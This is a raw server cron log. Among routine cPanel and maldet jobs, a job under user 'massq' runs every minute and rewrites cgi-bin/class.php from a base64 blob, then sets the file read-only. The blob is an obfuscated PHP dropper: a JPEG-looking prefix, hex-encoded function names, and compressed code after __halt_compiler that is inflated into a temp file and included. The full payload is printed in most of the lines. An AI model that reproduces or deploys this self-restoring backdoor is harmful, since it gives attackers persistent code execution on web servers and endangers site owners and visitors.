Nov 11 21:08:01 server CROND[15928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:09:01 server CROND[16755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:09:01 server CROND[16756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:10:01 server CROND[17553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:10:01 server CROND[17554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:10:01 server CROND[17552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:10:01 server CROND[17555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:11:01 server CROND[18506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:12:02 server CROND[19343]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:12:02 server CROND[19344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:13:01 server CROND[19845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:14:01 server CROND[20355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:15:01 server CROND[21182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:15:01 server CROND[21183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:15:01 server CROND[21184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:16:01 server CROND[22231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:17:01 server CROND[23062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:18:01 server CROND[23890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:19:01 server CROND[24728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:20:01 server CROND[25561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:20:01 server CROND[25562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:20:01 server CROND[25565]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 21:20:01 server CROND[25566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:20:01 server CROND[25567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
